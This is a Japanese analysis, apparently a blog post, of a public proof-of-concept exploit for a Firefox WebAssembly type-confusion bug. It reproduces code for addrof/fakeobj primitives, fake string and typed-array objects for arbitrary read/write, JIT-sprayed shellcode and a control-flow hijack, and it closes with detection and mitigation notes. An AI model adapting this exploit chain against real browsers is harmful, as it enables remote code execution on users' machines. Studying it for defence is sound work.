memo.js を読み解く — Firefox WASM CVE-2026-2796 PoC のソース解析
手元の lab/memo.js を読む機会があったのでメモを残す。これは公開 PoC str8outtaheap/publications リポジトリの CVE-2026-2796 — WebAssembly call-bind import confusion に対するエクスプロイトをほぼそのまま持ってきたもので、addrof / fakeobj → 任意 R/W → JIT spray → 任意コード実行 (WinExec("calc")) まで一直線に組まれている。短いコードだが、SpiderMonkey 内部のレイアウトを 4〜5 種類踏み台にしているので、それぞれのオフセットが「なぜそこにあるのか」 を確認することを目的に節ごとに読み解いていく。
実機での再現は行っていない。本記事は 公開済み PoC のソースを読むためのガイド に留まる。実 PoC は Windows 上 Firefox を想定 (シェルコードが
WinExec)。
1. 全体像
memo.js は単一ファイル・約 275 行で、window.onload = exp() で exp() を即時実行する形を取る。exp() の中で行われていることを上から並べるとこうなる。
| フェーズ | やっていること | 利用する仕組み |
|---|---|---|
| 1 | WASM モジュールをコンパイル / インスタンス化 | WebAssembly.compile |
| 2 | addrof / fakeobj を 100 万回 warmup | WASM 側 JIT を温める |
| 3 | addrof で Uint8Array のアドレスを取る | バグ プリミティブ |
| 4 | fakeobj で 偽の JSLinearString を生成し任意 read を作る | fakeobj(addr | 0x2) |
| 5 | 任意 read で Uint8Array の Shape* をリーク | 既知レイアウト |
| 6 | 偽の Uint8Array を組み立てて任意 R/W へ格上げ | fakeobj |
| 7 | jitme() を 0x5000 回呼んで JIT spray | Baseline/Ion |
| 8 | JSFunction → BaseScript → jitCodeRaw_ をたどる | 任意 read |
| 9 | jitCodeRaw_ を shellcode 先頭に書き換え | 任意 write |
| 10 | jitme() を再度呼ぶ → shellcode 実行 | コントロールフロー奪取 |
最終ペイロードは PoC コメントに WinExec("calc", SW_SHOWNORMAL) と明記されている。Windows Firefox を狙ったクラシックな pwn 連鎖 で、Linux/macOS では別のシェルコードに差し替える前提のコードになっている。
2. WASM モジュール — addrof と fakeobj
ファイル先頭で巨大な Uint8Array の即値配列がそのまま展開されている。これは wat2js.sh modules.wat で生成された WASM バイナリで、復元すると以下を export する。
| エクスポート名 | シグネチャ | 意味 |
|---|---|---|
addrof | (i32 mode, externref obj) -> i64 | オブジェクトの生ポインタを返す (mode=0 は spray 用 / mode=1 が本番) |
fakeobj | (i32 mode, i64 addr) -> externref | 生ポインタを externref として返す |
セクション末の name セクションを覗くと、関数名は spray_obj と spray_addr、内部ヘルパ名は loop / int_arr / ref_arr といった命名で出てくる。0xFB プリフィックス命令 (GC 命令、array.new / struct.set / ref.cast 等) を多用しており、CVE-2026-2796 の本質である 「インポートされた関数呼び出しの型バインド解決が一段ズレる」 バグを GC 配列の externref ⇄ i64 型混同で観測する形になっている。
PoC が
mode=0で warmup を回すのは、WASM のcall_indirectテーブル / インポート bind のキャッシュ がエクスプロイトに必要な状態に遷移するまで JIT を温めておくため。エクスポート名spray_*がまさにそれを物語っている。
let mod = await WebAssembly.compile(WASM_MODULE);
let inst = await WebAssembly.instantiate(mod, {});
let wasm_addrof = inst.exports.addrof;
let wasm_fakeobj = inst.exports.fakeobj;{} インポートで instantiate しているので、PoC は 外部関数のインポート bind バグそのもの ではなく、その帰結として得られる型混同を経由している実装。
2.1 warmup
const WARMUP_ITERS = 1_000_000;
function warmup() {
for (let i = 0; i < WARMUP_ITERS; i++) {
wasm_addrof(0, obj); // x3
wasm_fakeobj(0, addr); // x3
}
}
warmup();100 万回 × 6 コールで合計 600 万呼び出し。Baseline → Ion / Liftoff → Optimizing の昇格と、call_indirect の対象テーブル エントリの IC 状態安定化が目的。この warmup が足りないと addrof / fakeobj が 0n や null を返してきて確率的に失敗する。
2.2 リトライ ラッパ
function addrof(obj) {
for (let i = 0; i < 0x1000; i++) {
const u = BigInt.asUintN(64, wasm_addrof(1, obj));
if (u !== 0n) return u;
warmup();
}
print("[-] addrof failed"); die();
}成功するまで最大 4096 回、失敗するたびに 再 warmup する作り。確率的バグであるという性質と、JIT 状態が外的事象 (GC など) で崩れることへの保険。fakeobj 側も対称な構造。
3. 偽 JSLinearString による任意 read
ここからが本題。fakeobj の戻り値は WASM の externref (= SpiderMonkey の AnyRef) で、下位タグ 0x2 は JSString* を意味する。つまり fakeobj(addr | 2) を呼ぶと、addr を JSString* として解釈した参照が JS 側に返ってくる。
3.1 メモリ レイアウト
Uint8Array(96) の インライン領域 (オブジェクトヘッダ末尾 56 バイトから始まる) に偽の JSLinearString ヘッダを書き、そこを JSString* として参照する戦略。
const INLINE_OFF = 56n; // Uint8Array の inline 領域までのオフセット
const FAKE_OFF = 16; // インライン内のスクラッチ位置
let stringScratch = new Uint8Array(96);
let stringScratchInline = addrof(stringScratch) + INLINE_OFF;
let fakeStringAddr = stringScratchInline + BigInt(FAKE_OFF);
let fakeStringValue = fakeStringAddr | STRING_TAG; // | 0x2
書き込むヘッダはまさに SpiderMonkey の JSLinearString の最初の 3 ワード。
| Offset | フィールド | 値 |
|---|---|---|
| +0 | flags | `LINEAR_BIT |
| +4 | length | 8 |
| +8 | chars | 読みたい先頭アドレス addr |
LATIN1_CHARS_BIT が立っているので 1 文字 = 1 バイトとして解釈される。charCodeAt(i) を 8 回回すだけで *(addr + i) が直接読める。
function stringRead64(addr) {
writeU32(stringScratch, FAKE_OFF + 0, LINEAR_LATIN1);
writeU32(stringScratch, FAKE_OFF + 4, 8);
writeU64(stringScratch, FAKE_OFF + 8, addr);
writeU64(stringScratch, FAKE_OFF + 16, 0n);
let s = fakeobj(fakeStringValue);
let v = 0n;
for (let i = 0; i < 8; i++) {
v |= BigInt(s.charCodeAt(i)) << BigInt(i * 8);
}
return v;
}これで 任意 8 バイト read が手に入った。書き込み側はまだ無い。
3.2 Shape をリークする
任意 read の最初の用途は、本物の Uint8Array から Shape* を盗むこと。
let shapeTA = new Uint8Array(16); // 任意の Uint8Array
let shapeTAAddr = addrof(shapeTA);
let shapePtr = stringRead64(shapeTAAddr); // *(shapeTA + 0) = shape_
JSObject の +0 はいつも Shape*。これで Uint8Array の正しい Shape* が確保できた。この shape を流用すれば、後段で組み立てる偽 TypedArray が SpiderMonkey から見て「ホンモノ」になる。
4. 偽 Uint8Array による任意 R/W
Shape* が手に入ったので、今度は別の scratch = new Uint8Array(96) のインライン領域に 偽の Uint8Array JSObject を組み立てる。
// fake JSObject at fakeAddr:
// +0 shape_ = shapeTA.shape_ ← さっきリークしたやつ
// +8 slots_ = 0
// +16 elements_ = fakeElems ← 自身を指す
// +24 BUFFER_SLOT = false (NaN-boxed)
// +32 LENGTH_SLOT = 8
// +40 BYTEOFFSET = 0
// +48 DATA_SLOT = targetAddr ← ここを書き換えると読み書き先が変わる
function buildFakeTA() {
writeU64(scratch, FAKE_OFF + 0, shapePtr);
writeU64(scratch, FAKE_OFF + 8, 0n);
writeU64(scratch, FAKE_OFF + 16, fakeElems);
writeU64(scratch, FAKE_OFF + 24, SLOT0_BUFFER_FALSE); // 0xfff9000000000000
writeU64(scratch, FAKE_OFF + 32, 8n);
writeU64(scratch, FAKE_OFF + 40, 0n);
writeU64(scratch, FAKE_OFF + 48, 0n);
return fakeobj(fakeAddr); // 今度はタグ無し = JSObject*
}
let ta = buildFakeTA();SpiderMonkey の TypedArray は、ArrayBuffer を持たない (= BUFFER_SLOT が false) インライン or 外部バッファ参照モード だと、DATA_SLOT の値をそのままバッキング ストアの生ポインタとして使う。SLOT0_BUFFER_FALSE = 0xfff9000000000000n は SpiderMonkey の BooleanValue(false) の NaN ボックス表現で、これを置くと「バッファなし」と認識される。
あとは DATA_SLOT (+48) を書き換えれば ta[i] の読み書きが任意のアドレスを叩く。
function setDataSlot(addr) {
writeU64(scratch, FAKE_OFF + 48, BigInt.asUintN(64, addr));
}
function read64(addr) { setDataSlot(addr); /* ta[0..8] を 1 バイトずつ */ }
function write64(addr, val) { setDataSlot(addr); /* ta[0..8] に書く */ }ここで偽 string → 偽 TypedArray にアップグレードする理由 は、文字列ベースの read は「読みっぱなし」で write が無いから。fakeobj を二度活用して、ヘッダ レイアウトを変えるだけで RW プリミティブを得るのは SpiderMonkey エクスプロイトの定型パターン。
5. JIT spray — jitme() の浮動小数点定数
ここから RCE フェーズ。コード実行可能なメモリにシェルコードを書き込む ために、JIT コンパイル時にイミディエイト値として埋め込まれる double リテラル を使ったクラシックな手法。
function jitme() {
findme = 5.40900888e-315; // 0x41414141 in memory (マーカ)
S0 = 5.043028276299925e-73; // shellcode start
S1 = -5.954496622687381e-264;
// ...
S31 = -6.596361731336406e-229;
}
for (let i = 0; i < 0x5000; i++) jitme();これらの double は、IEEE 754 の 8 バイト表現として書き下した時にちょうどシェルコードのバイト列になる ように選ばれた値。Baseline JIT がコンパイルする際、xmm レジスタにロードするためにこれらの値を R-X 領域の constant pool にそのまま並べる。32 個並べているので 32 × 8 = 256 バイトのシェルコードが連続して JIT メモリに書き込まれる。
findme = 5.40900888e-315 は マーカ。低 32 bit が 0x41414141 (AAAA) になるので、JIT メモリをスキャンしてこの位置を見つければ、その +8 バイト先がシェルコード先頭という関係。
32 個もある定数を
0x5000(= 20480) 回スプレーするのは、Ion 最適化済みの版 と Baseline の版 の両方が R-X メモリに残ってほしいから。スキャン範囲を絞るのにマーカが効く。
6. JSFunction → BaseScript → jitCodeRaw_
シェルコードがどこにあるか探すには、jitme 関数オブジェクトから JIT コードのアドレスをたどる必要がある。SpiderMonkey の現行レイアウト (PoC 注釈による) はこうなっている。
JSFunction at fn_addr:
+0x28 BaseScript* = basescript_addr
BaseScript at script_addr:
+0x00 jitCodeRaw_ = jitcoderaw_addr (R-X)addrof(jitme) でアドレスを取って、
let jitme_addr = addrof(jitme);
let basescript_addr = read64(jitme_addr + 0x28n);
let jitcoderaw_addr = read64(basescript_addr);これで R-X セグメント内のコード本体の先頭が分かる。
6.1 マーカ検索
for (let i = 0; i < 0x1000; i++) {
let addr = jitcoderaw_addr + BigInt(i * 8);
let val = read64(addr);
if ((val & 0xffffffffn) === 0x41414141n) {
findme_addr = addr; break;
}
}
let shellcode = findme_addr + 8n;低 32 bit が 0x41414141 になる 8 バイト境界を線形に探し、見つかったらその +8 がシェルコード先頭。0x1000 個 = 8KB の探索範囲なので、コードが想定よりズレるとミスる可能性はある。
7. コントロールフロー奪取
最後の一押し。BaseScript::jitCodeRaw_ を、リークしたシェルコード アドレスで上書き すれば、次に jitme() を呼んだとき JIT トランポリンがそのアドレスに飛ぶ。
write64(basescript_addr, shellcode);
jitme(); // ここで shellcode (= WinExec("calc")) が走る
print("[+] w00t");jitCodeRaw_ は JSFunction の呼び出し時に bl / call で直接ジャンプ先として使われるポインタで、ASLR / W^X / CFG いずれもバイパスする (JIT 自身が R-X 領域にコードを書き、その領域の正規ポインタを書き換えているだけだから)。典型的な JIT トランポリン乗っ取り。
8. 攻撃 チェーン まとめ
[ CVE-2026-2796 WASM call-bind import confusion ]
│
▼
[ addrof(externref→i64) / fakeobj(i64→externref) ] ← warmup 必須
│
▼
[ fakeobj(addr|0x2) → 偽 JSLinearString → stringRead64() ] ← 任意 read
│
▼
[ stringRead64(Uint8Array) → Shape* リーク ]
│
▼
[ fakeobj(addr) → 偽 Uint8Array → read64/write64() ] ← 任意 R/W
│
▼
[ jitme() スプレー → R-X に shellcode を埋め込む ]
│
▼
[ JSFunction → BaseScript → jitCodeRaw_ ]
│
▼
[ jitCodeRaw_ ← shellcode / jitme() 再呼出し ] ← RCE9. 観測ポイント / 防御の話
エクスプロイト自体は閉じているが、観測・対策の視点で押さえておきたいポイント をいくつか。
| 観点 | コメント |
|---|---|
| WASM GC 命令の濫用 | 0xFB プリフィックス命令を異常な頻度で叩く Web ページは現状ほぼ存在しない。EDR / ブラウザ拡張側のテレメトリで WebAssembly.compile 直後の 大量の externref ↔ i64 変換 が出てきたら疑える |
| 巨大 warmup ループ | 100 万回の call_indirect 同等の呼び出しはレガシー サイトでも稀。JS 実行プロファイラで wasm_addrof / wasm_fakeobj 命名は当然のヒント |
| JIT spray の検出難度 | 浮動小数点定数だけで構成されたコードは外見からは普通の数値計算と区別がつかない。jitme のように 連続代入が異常に長い関数 をヒューリスティックに見るしかない |
| mitigations | Firefox 側は Shape の確率的化、JIT W^X、jitCodeRaw_ の保護化が継続的に行われている。CVE-2026-2796 自体は WASM フロントエンドの型 bind 解決の修正で塞がっている (PoC 公開時点で fix 済み) |
| シグネチャ ベース検出 | 5.40900888e-315 (= 0x41414141 マーカ) や 0xfff9000000000000n (NaN-boxed false) はリテラル文字列として PoC ファミリに残りやすい。YARA / IOC では効きやすい |
10. 読んだ感想
- コード量に対する密度がエグい。275 行で WASM 型混同 → 任意 RW → R-X spray → JIT trampoline 乗っ取りまで一気通貫に書けるのは、SpiderMonkey の内部レイアウトが PoC 作成者にとって既知 であるということでもある。バージョン依存オフセット (
+0x28,INLINE_OFF=56,LINEAR_LATIN1=0x410) は Firefox の特定ビルドに固有 で、別バージョンでは即死する - WASM が攻撃面として濃い という事実が改めて見える。
externrefの0x2タグや GC 命令プリフィックスのような細かい仕様の積み重ねが、一発でユーザ空間の任意ポインタ-as-Object を提供してしまう - JIT spray を浮動小数点で行う技法は健在。constant pool への即値埋め込みは W^X や ASLR を素通りする (R-X に正規に書かれるため)。Firefox/Chrome ともに数年単位で対策が入っているが、本 PoC のように一定確率で滑り抜けるパス は残る
検証や対策側からは「WASM の異常なテレメトリ + JS の不自然な double リテラルの連続代入」がトリガーになる、というのが現実的な落とし所になりそう。